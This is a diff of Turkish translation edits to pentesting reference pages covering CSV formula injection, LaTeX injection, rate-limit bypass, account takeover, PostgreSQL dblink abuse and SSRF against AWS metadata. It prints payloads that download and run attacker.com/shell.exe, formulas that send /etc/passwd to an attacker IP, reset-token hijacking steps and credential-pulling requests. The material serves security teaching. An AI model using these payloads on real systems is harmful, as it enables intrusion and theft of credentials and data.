@ -31,15 +31,15 @@ Bir Öğrenci Kayıt Yönetim sisteminde bir güvenlik açığının CSV enjeksi
|
||||
1. **Kötü Niyetli Yükün Enjeksiyonu:**
|
||||
- Saldırgan, bir öğrenci detay formu gönderir ancak genellikle elektronik tablolarında kullanılan bir formül ekler (örneğin, `=HYPERLINK("<malicious_link>","Click here")`).
|
||||
- Bu formül, bir hiperlink oluşturmak için tasarlanmıştır, ancak saldırganın kontrolündeki kötü niyetli bir sunucuya işaret eder.
|
||||
2. **Tehlikeye Atılan Verilerin Dışa Aktarılması:**
|
||||
- Öğretmenler, tehlikeden habersiz, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır.
|
||||
2. **Tehdit Altındaki Verilerin İhracı:**
|
||||
- Öğretmenler, tehlikeden habersiz, verileri bir CSV dosyasına aktarmak için uygulamanın işlevselliğini kullanır.
|
||||
- CSV dosyası açıldığında, hala kötü niyetli yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir hiperlink olarak görünür.
|
||||
3. **Saldırının Tetiklenmesi:**
|
||||
- Bir öğretmen, öğrencinin detaylarının meşru bir parçası olduğunu düşünerek hiperlinke tıklar.
|
||||
- Tıkladığında, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından gelen detaylar) saldırganın sunucusuna iletilir.
|
||||
- Tıkladığında, hassas veriler (muhtemelen elektronik tablodan veya öğretmenin bilgisayarından gelen detaylar) saldırganın sunucusuna iletilir.
|
||||
4. **Verilerin Kaydedilmesi:**
|
||||
- Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder.
|
||||
- Saldırgan, bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, böylece öğrencilerin ve kurumun gizliliği ve güvenliği daha da tehlikeye atılır.
|
||||
- Saldırgan, bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, böylece öğrencilerin ve kurumun gizliliği ve güvenliği daha da tehlikeye girmiş olur.
|
||||
|
||||
### RCE
|
||||
|
||||
@ -57,38 +57,38 @@ Ekstra komutlar da çalıştırılabilir, örneğin bir dosyayı PowerShell kull
|
||||
```bash
|
||||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||||
```
|
||||
### Local File Inclusion (LFI) in LibreOffice Calc
|
||||
### LibreOffice Calc'ta Yerel Dosya Dahil Etme (LFI)
|
||||
|
||||
LibreOffice Calc, yerel dosyaları okumak ve verileri dışarı aktarmak için kullanılabilir. İşte bazı yöntemler:
|
||||
LibreOffice Calc, yerel dosyaları okumak ve veri sızdırmak için kullanılabilir. İşte bazı yöntemler:
|
||||
|
||||
- Yerel `/etc/passwd` dosyasının ilk satırını okuma: `='file:///etc/passwd'#$passwd.A1`
|
||||
- Okunan verileri saldırgan kontrolündeki bir sunucuya dışarı aktarma: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
- Birden fazla satırı dışarı aktarma: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
- DNS dışarı aktarma (okunan verileri saldırgan kontrolündeki bir DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
- Okunan veriyi saldırgan kontrolündeki bir sunucuya sızdırma: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
- Birden fazla satırı sızdırma: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
- DNS sızdırma (okunan veriyi saldırgan kontrolündeki bir DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
|
||||
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
|
||||
### Google Sheets ile Band Dışı (OOB) Veri Sızdırma
|
||||
|
||||
Google Sheets, OOB veri dışarı aktarmak için istismar edilebilecek işlevler sunar:
|
||||
Google Sheets, OOB veri sızdırma için istismar edilebilecek işlevler sunar:
|
||||
|
||||
- **CONCATENATE**: Dize birleştirir - `=CONCATENATE(A2:E2)`
|
||||
- **CONCATENATE**: Dize ekler - `=CONCATENATE(A2:E2)`
|
||||
- **IMPORTXML**: Yapılandırılmış veri türlerinden veri alır - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
- **IMPORTFEED**: RSS veya ATOM beslemelerini alır - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
- **IMPORTHTML**: HTML tablolarından veya listelerinden veri alır - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
- **IMPORTRANGE**: Başka bir elektronik tablodan bir hücre aralığını alır - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
- **IMAGE**: Bir hücreye resim ekler - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||
|
||||
## LaTeX Injection
|
||||
## LaTeX Enjeksiyonu
|
||||
|
||||
Genellikle internette **LaTeX kodunu PDF'ye dönüştüren** sunucular **`pdflatex`** kullanır.\
|
||||
Bu program, komut yürütmeyi (dis)engellemek için 3 ana özellik kullanır:
|
||||
|
||||
- **`--no-shell-escape`**: `\write18{command}` yapısını **devre dışı bırakır**, texmf.cnf dosyasında etkin olsa bile.
|
||||
- **`--shell-restricted`**: `--shell-escape` ile aynı, ancak **önceden tanımlanmış** 'güvenli' bir komut seti ile **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir).
|
||||
- **`--shell-restricted`**: `--shell-escape` ile aynı, ancak **önceden tanımlanmış** **komutların** 'güvenli' bir kümesi ile **sınırlıdır** (Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir).
|
||||
- **`--shell-escape`**: `\write18{command}` yapısını **etkinleştirir**. Komut herhangi bir shell komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaktır.
|
||||
|
||||
Ancak, komutları yürütmenin başka yolları da vardır, bu nedenle RCE'yi önlemek için `--shell-restricted` kullanmak çok önemlidir.
|
||||
|
||||
### Read file <a href="#read-file" id="read-file"></a>
|
||||
### Dosyayı Oku <a href="#read-file" id="read-file"></a>
|
||||
|
||||
Enjeksiyonu \[ veya $ gibi sarmalayıcılarla ayarlamanız gerekebilir.
|
||||
```bash
|
||||
|
||||
@ -4,17 +4,17 @@
|
||||
|
||||
## Rate limit bypass techniques
|
||||
|
||||
### Benzer Uç Noktaları Keşfetme
|
||||
### Exploring Similar Endpoints
|
||||
|
||||
Hedeflenen uç noktanın varyasyonlarına, örneğin `/api/v3/sign-up` gibi, `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` gibi alternatifler üzerinde brute force saldırıları gerçekleştirmek için denemeler yapılmalıdır.
|
||||
Hedeflenen uç noktanın varyasyonlarına, örneğin `/api/v3/sign-up`, `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` gibi alternatiflere karşı brute force saldırıları gerçekleştirmek için denemeler yapılmalıdır.
|
||||
|
||||
### Kod veya Parametrelerde Boş Karakterler Kullanma
|
||||
### Incorporating Blank Characters in Code or Parameters
|
||||
|
||||
Kod veya parametrelere `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` gibi boş baytlar eklemek faydalı bir strateji olabilir. Örneğin, bir parametreyi `code=1234%0a` olarak ayarlamak, girişteki varyasyonlar aracılığıyla deneme süresini uzatmaya olanak tanır; bu, bir e-posta adresine yeni satır karakterleri ekleyerek deneme sınırlamalarını aşmayı sağlar.
|
||||
|
||||
### Başlıklar Aracılığıyla IP Kaynağını Manipüle Etme
|
||||
### Manipulating IP Origin via Headers
|
||||
|
||||
Algılanan IP kaynağını değiştirmek için başlıkları modifiye etmek, IP tabanlı hız sınırlamasından kaçınmaya yardımcı olabilir. `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host` gibi başlıklar, farklı IP'lerden gelen istekleri simüle etmek için birden fazla `X-Forwarded-For` örneği kullanarak ayarlanabilir.
|
||||
Algılanan IP kökenini değiştirmek için başlıkları değiştirmek, IP tabanlı hız sınırlamasından kaçınmaya yardımcı olabilir. `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host` gibi başlıklar, farklı IP'lerden gelen istekleri simüle etmek için birden fazla `X-Forwarded-For` örneği kullanarak ayarlanabilir.
|
||||
```bash
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
@ -30,26 +30,30 @@ X-Forwarded-For: 127.0.0.1
|
||||
```
|
||||
### Diğer Başlıkları Değiştirme
|
||||
|
||||
Kullanıcı ajanı ve çerezler gibi diğer istek başlıklarını değiştirmek önerilir, çünkü bunlar da istek kalıplarını tanımlamak ve takip etmek için kullanılabilir. Bu başlıkların değiştirilmesi, talep edenin faaliyetlerinin tanınmasını ve izlenmesini önleyebilir.
|
||||
Kullanıcı ajanı ve çerezler gibi diğer istek başlıklarını değiştirmek önerilir, çünkü bunlar da istek kalıplarını tanımlamak ve takip etmek için kullanılabilir. Bu başlıkları değiştirmek, istekte bulunan kişinin faaliyetlerinin tanınmasını ve izlenmesini önleyebilir.
|
||||
|
||||
### API Gateway Davranışını Kullanma
|
||||
|
||||
Bazı API geçitleri, uç nokta ve parametrelerin kombinasyonuna dayalı olarak oran sınırlaması uygulamak için yapılandırılmıştır. Parametre değerlerini değiştirerek veya önemsiz parametreler ekleyerek, geçidin oran sınırlama mantığını aşmak mümkün olabilir, böylece her istek benzersiz görünür. Örneğin `/resetpwd?someparam=1`.
|
||||
Bazı API geçitleri, uç nokta ve parametrelerin kombinasyonuna dayalı olarak oran sınırlaması uygulamak için yapılandırılmıştır. Parametre değerlerini değiştirerek veya isteğe önemsiz parametreler ekleyerek, geçidin oran sınırlama mantığını aşmak mümkün olabilir, böylece her istek benzersiz görünür. Örneğin `/resetpwd?someparam=1`.
|
||||
|
||||
### Her Denemeden Önce Hesabınıza Giriş Yapma
|
||||
|
||||
Her denemeden veya her deneme setinden önce bir hesaba giriş yapmak, oran sınırlama sayacını sıfırlayabilir. Bu, giriş işlevselliklerini test ederken özellikle faydalıdır. Burp Suite gibi araçlarda bir Pitchfork saldırısı kullanarak, her birkaç denemede bir kimlik bilgilerini döndürmek ve yönlendirmelerin işaretlendiğinden emin olmak, oran sınırlama sayaçlarını etkili bir şekilde yeniden başlatabilir.
|
||||
Her denemeden veya her deneme setinden önce bir hesaba giriş yapmak, oran sınırlama sayacını sıfırlayabilir. Bu, özellikle giriş işlevselliklerini test ederken faydalıdır. Burp Suite gibi araçlarda, her birkaç denemeden sonra kimlik bilgilerini döndürmek ve yönlendirmelerin işaretlendiğinden emin olmak için bir Pitchfork saldırısı kullanmak, oran sınırlama sayaçlarını etkili bir şekilde yeniden başlatabilir.
|
||||
|
||||
### Proxy Ağlarını Kullanma
|
||||
|
||||
İstekleri birden fazla IP adresi arasında dağıtmak için bir proxy ağı dağıtmak, IP tabanlı oran sınırlamalarını etkili bir şekilde aşabilir. Trafiği çeşitli proxy'ler aracılığıyla yönlendirerek, her istek farklı bir kaynaktan geliyormuş gibi görünür, bu da oran sınırlamasının etkinliğini azaltır.
|
||||
İstekleri birden fazla IP adresi arasında dağıtmak için bir proxy ağı dağıtmak, IP tabanlı oran sınırlamalarını etkili bir şekilde aşabilir. Trafiği çeşitli proxyler aracılığıyla yönlendirerek, her istek farklı bir kaynaktan geliyormuş gibi görünür, bu da oran sınırlamasının etkinliğini azaltır.
|
||||
|
||||
### Saldırıyı Farklı Hesaplar veya Oturumlar Arasında Bölme
|
||||
|
||||
Hedef sistem, oran sınırlamalarını hesap başına veya oturum başına uyguluyorsa, saldırıyı veya testi birden fazla hesap veya oturum arasında dağıtmak, tespiti önlemeye yardımcı olabilir. Bu yaklaşım, birden fazla kimlik veya oturum belirteci yönetmeyi gerektirir, ancak yükü izin verilen sınırlar içinde tutmak için etkili bir şekilde dağıtabilir.
|
||||
Hedef sistem, oran sınırlamalarını hesap başına veya oturum başına uyguluyorsa, saldırıyı veya testi birden fazla hesap veya oturum arasında dağıtmak, tespiti önlemeye yardımcı olabilir. Bu yaklaşım, birden fazla kimlik veya oturum belirteci yönetmeyi gerektirir, ancak yükü izin verilen sınırlar içinde dağıtmak için etkili olabilir.
|
||||
|
||||
### Denemeye Devam Et
|
||||
### Denemeye Devam Edin
|
||||
|
||||
Bir oran sınırlaması olsa bile, geçerli OTP gönderildiğinde yanıtın farklı olup olmadığını görmek için denemeye devam etmelisiniz. [**bu yazıda**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), hata avcısı, 20 başarısız denemeden sonra 401 ile yanıt verildiğinde bir oran sınırlaması tetiklense bile, geçerli olan gönderildiğinde 200 yanıtı alındığını keşfetti.
|
||||
Bir oran sınırlaması olsa bile, geçerli OTP gönderildiğinde yanıtın farklı olup olmadığını görmek için denemeye devam etmelisiniz. [**bu yazıda**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), hata avcısı, 20 başarısız denemeden sonra 401 ile yanıt verildiğinde bir oran sınırlamasının tetiklendiğini keşfetti, ancak geçerli olan gönderildiğinde 200 yanıtı alındı.
|
||||
|
||||
### Araçlar
|
||||
|
||||
- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz, WAF'ları ve CDN'leri test etmek ve aşmak için tasarlanmış bir fuzzing aracıdır. Rastgele Kullanıcı-Ajanı ve başlık değeri, rastgele gecikmeler, çoklu iş parçacığı yönetimi, kelime listelerinin seçici parçalara ayrılması ve her parça için Round Robin proxy döngüsü gibi gelişmiş özelliklerden yararlanarak, web uygulamalarındaki güvenlik açıklarını tanımlamayı amaçlayan güvenlik profesyonelleri için sağlam bir çözüm sunar.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
|
||||
### Kullanıcı Adı Sayımı
|
||||
|
||||
Bir kullanıcı adının uygulama içinde zaten kayıtlı olup olmadığını anlamaya çalışın.
|
||||
Bir kullanıcı adının uygulama içinde zaten kaydedilip kaydedilmediğini anlamaya çalışın.
|
||||
|
||||
### Şifre Politikası
|
||||
|
||||
@ -27,7 +27,7 @@ Bu durumda kimlik bilgilerini brute force ile denemeyi deneyebilirsiniz.
|
||||
|
||||
### SQL Enjeksiyonu
|
||||
|
||||
[**Bu sayfayı kontrol edin** ](sql-injection/index.html#insert-statement) kayıt formlarında **SQL Enjeksiyonları** aracılığıyla hesap ele geçirme veya bilgi çıkarma girişiminde bulunmayı öğrenmek için.
|
||||
[**Bu sayfayı kontrol edin** ](sql-injection/index.html#insert-statement) kayıt formlarında hesap ele geçirme veya bilgi çıkarma girişiminde bulunmak için **SQL Enjeksiyonları** hakkında bilgi edinmek için.
|
||||
|
||||
### Oauth Ele Geçirmeleri
|
||||
|
||||
@ -41,15 +41,15 @@ oauth-to-account-takeover.md
|
||||
saml-attacks/
|
||||
{{#endref}}
|
||||
|
||||
### E-posta Değiştirme
|
||||
### E-postayı Değiştir
|
||||
|
||||
Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulanıp doğrulanmadığını veya rastgele e-postalara değiştirip değiştiremeyeceğinizi kontrol edin.
|
||||
Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulanıp doğrulanmadığını veya keyfi e-postalara değiştirip değiştiremeyeceğinizi kontrol edin.
|
||||
|
||||
### Daha Fazla Kontrol
|
||||
|
||||
- **Tek kullanımlık e-postalar** kullanıp kullanamayacağınızı kontrol edin
|
||||
- **tek kullanımlık e-postalar** kullanıp kullanamayacağınızı kontrol edin
|
||||
- **Uzun** **şifre** (>200) **DoS**'ye yol açar
|
||||
- **Hesap oluşturma üzerindeki hız sınırlarını kontrol edin**
|
||||
- **Hesap oluşturma** için oran limitlerini kontrol edin
|
||||
- username@**burp_collab**.net kullanın ve **callback**'i analiz edin
|
||||
|
||||
## **Şifre Sıfırlama Ele Geçirme**
|
||||
@ -61,7 +61,7 @@ Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin d
|
||||
3. Şifreyi değiştirmeyin
|
||||
4. Herhangi bir 3. parti web sitesine tıklayın (örneğin: Facebook, Twitter)
|
||||
5. Burp Suite proxy'sinde isteği yakalayın
|
||||
6. Referans başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin.
|
||||
6. Referer başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin.
|
||||
|
||||
### Şifre Sıfırlama Zehirleme <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
@ -72,7 +72,7 @@ Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin d
|
||||
4. _host başlığına_ dayalı bir şifre sıfırlama URL'si arayın: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### E-posta Parametresi Üzerinden Şifre Sıfırlama <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```powershell
|
||||
```bash
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
|
||||
@ -90,7 +90,7 @@ email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. Saldırgan, kendi hesabıyla giriş yapmalı ve **Şifre değiştir** özelliğine gitmelidir.
|
||||
1. Saldırgan, hesabıyla giriş yapmalı ve **Şifre değiştir** özelliğine gitmelidir.
|
||||
2. Burp Suite'i başlatın ve isteği yakalayın.
|
||||
3. İsteği tekrar gönderme sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
@ -102,7 +102,7 @@ Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığı
|
||||
|
||||
- Zaman damgası
|
||||
- Kullanıcı ID'si
|
||||
- Kullanıcının e-posta adresi
|
||||
- Kullanıcının E-postası
|
||||
- Ad ve Soyad
|
||||
- Doğum Tarihi
|
||||
- Kriptografi
|
||||
@ -114,14 +114,14 @@ Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığı
|
||||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
|
||||
1. Belirli bir e-posta için API/UI kullanarak bir şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com
|
||||
2. Sunucu yanıtını inceleyin ve `resetToken`'ı kontrol edin.
|
||||
2. Sunucu yanıtını inceleyin ve `resetToken` kontrol edin.
|
||||
3. Ardından token'ı şu URL'de kullanın: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. Sistemde, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluklar ekleyin. örneğin: `"admin "`
|
||||
2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama talep edin.
|
||||
3. E-posta adresinize gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın.
|
||||
2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama isteği yapın.
|
||||
3. E-postanıza gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın.
|
||||
4. Yeni şifreyle kurbanın hesabına bağlanın.
|
||||
|
||||
CTFd platformu bu saldırıya karşı savunmasızdı.\
|
||||
@ -138,7 +138,7 @@ Bakınız: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
1\. **smuggler** kullanarak HTTP İstek Kaçırma türünü tespit edin (CL, TE, CL.TE)\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. Aşağıdaki verilerle `POST / HTTP/1.1`'i geçersiz kılacak bir istek oluşturun:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` amacı, kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmaktır.\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` amacıyla kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmak\
|
||||
3\. Son istek aşağıdaki gibi görünebilir
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Network - Privesc, Port Scanner ve NTLM yanıtı ifşası
|
||||
# Network - Privesc, Port Scanner ve NTLM yanıt ifşası
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Daha fazla bilgi için** [**bu saldırılar hakkında orijinal belgede**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) bulun.
|
||||
**Daha fazla bilgi için** [**bu saldırılar hakkında orijinal makaleye göz atın**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
|
||||
|
||||
**PostgreSQL 9.1**'den itibaren, ek modüllerin kurulumu basittir. [`dblink` gibi kayıtlı uzantılar](https://www.postgresql.org/docs/current/contrib.html) [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) ile kurulabilir:
|
||||
```sql
|
||||
@ -12,21 +12,21 @@ Bir kez dblink yüklendiğinde, bazı ilginç numaralar yapabilirsiniz:
|
||||
|
||||
### Yetki Yükseltme
|
||||
|
||||
`pg_hba.conf` dosyası **şifreyi bilmeye gerek kalmadan** **localhost'tan herhangi bir kullanıcı** ile **bağlantılara izin verecek şekilde** kötü yapılandırılmış olabilir. Bu dosya genellikle `/etc/postgresql/12/main/pg_hba.conf` yolunda bulunabilir ve kötü bir yapılandırma şöyle görünür:
|
||||
`pg_hba.conf` dosyası, **şifreyi bilmeye gerek kalmadan** **localhost'tan herhangi bir kullanıcı olarak** **bağlantılara izin verecek** şekilde kötü yapılandırılmış olabilir. Bu dosya genellikle `/etc/postgresql/12/main/pg_hba.conf` içinde bulunabilir ve kötü bir yapılandırma şöyle görünür:
|
||||
```
|
||||
local all all trust
|
||||
```
|
||||
_Not edin ki bu yapılandırma, admin şifreyi unuttuğunda bir db kullanıcısının şifresini değiştirmek için yaygın olarak kullanılır, bu yüzden bazen bunu bulabilirsiniz._\
|
||||
_Ayrıca, pg_hba.conf dosyasının yalnızca postgres kullanıcısı ve grubu tarafından okunabilir ve yalnızca postgres kullanıcısı tarafından yazılabilir olduğunu unutmayın._
|
||||
|
||||
Bu durum, **eğer** kurbanın içinde **zaten** bir **shell**'iniz varsa **yararlıdır** çünkü size postgresql veritabanına bağlanma imkanı verecektir.
|
||||
Bu durum, **eğer** kurbanın içinde **zaten** bir **shell**'iniz varsa **yararlıdır**, çünkü size postgresql veritabanına bağlanma imkanı verecektir.
|
||||
|
||||
Başka bir olası yanlış yapılandırma, bunun gibi bir şeydir:
|
||||
Başka bir olası yanlış yapılandırma, şöyle bir şeydir:
|
||||
```
|
||||
host all all 127.0.0.1/32 trust
|
||||
```
|
||||
Bu, localhost'tan herkesin herhangi bir kullanıcı olarak veritabanına bağlanmasına izin verecektir.\
|
||||
Bu durumda ve eğer **`dblink`** fonksiyonu **çalışıyorsa**, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak **yetkileri yükseltebilir** ve erişim izni olmayan verilere erişebilirsiniz:
|
||||
Bu durumda ve eğer **`dblink`** fonksiyonu **çalışıyorsa**, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak **yetki yükseltme** yapabilir ve erişim izni olmayan verilere erişebilirsiniz:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=postgres
|
||||
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
|
||||
```
|
||||
### Port Scanning
|
||||
|
||||
`dblink_connect`'i kötüye kullanarak **açık portları** da arayabilirsiniz. Eğer bu \*\*fonksiyon çalışmıyorsa, belgelerde `dblink_connect_u()`'nun `dblink_connect()` ile aynı olduğu, ancak süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vereceği belirtiliyor, bu yüzden `dblink_connect_u()`'yu denemelisiniz.
|
||||
`dblink_connect`'i kötüye kullanarak **açık portları arayabilirsiniz**. Eğer o **fonksiyon çalışmıyorsa, belgelerde `dblink_connect_u()`'nun `dblink_connect()` ile aynı olduğu, ancak süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vereceği belirtiliyor, bu yüzden `dblink_connect_u()`'yu denemelisiniz**.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||
port=443
|
||||
@ -69,7 +69,7 @@ DETAIL: timeout expired
|
||||
ERROR: could not establish connection
|
||||
DETAIL: received invalid response to SSL negotiation:
|
||||
```
|
||||
Not edin ki **kullanabilmek için** `dblink_connect` veya `dblink_connect_u` önce şunu çalıştırmanız gerekebilir:
|
||||
Not edin ki `dblink_connect` veya `dblink_connect_u` kullanmadan **önce** şunu çalıştırmanız gerekebilir:
|
||||
```
|
||||
CREATE extension dblink;
|
||||
```
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## AWS
|
||||
|
||||
### AWS EC2 ortamında SSRF'nin kötüye kullanılması
|
||||
### AWS EC2 ortamında SSRF'yi kötüye kullanma
|
||||
|
||||
**Metadata** uç noktası, herhangi bir EC2 makinesinin içinden erişilebilir ve ilginç bilgiler sunar. URL'de erişilebilir: `http://169.254.169.254` ([metadata hakkında bilgi burada](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
**Metadata** uç noktasının **2 versiyonu** vardır. **İlk** versiyon, uç noktaya **GET** istekleri ile **erişim** sağlamaya olanak tanır (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemek için bir **PUT** isteği göndermeniz ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle **kötüye kullanmak daha karmaşıktır**).
|
||||
**Metadata** uç noktasının **2 versiyonu** vardır. **İlk** versiyon, uç noktaya **GET** istekleri ile **erişime** izin verir (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemek için **PUT** isteği göndermeniz ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle **kötüye kullanmak daha karmaşıktır**).
|
||||
|
||||
> [!CAUTION]
|
||||
> EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** bir **hop limitine sahip olacaktır**, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirir.
|
||||
@ -75,30 +75,30 @@ echo ""
|
||||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
Bir **genel olarak erişilebilir IAM kimlik bilgileri** örneğini ziyaret edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
Bir **genel olarak erişilebilir IAM kimlik bilgileri** örneği olarak şunu ziyaret edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
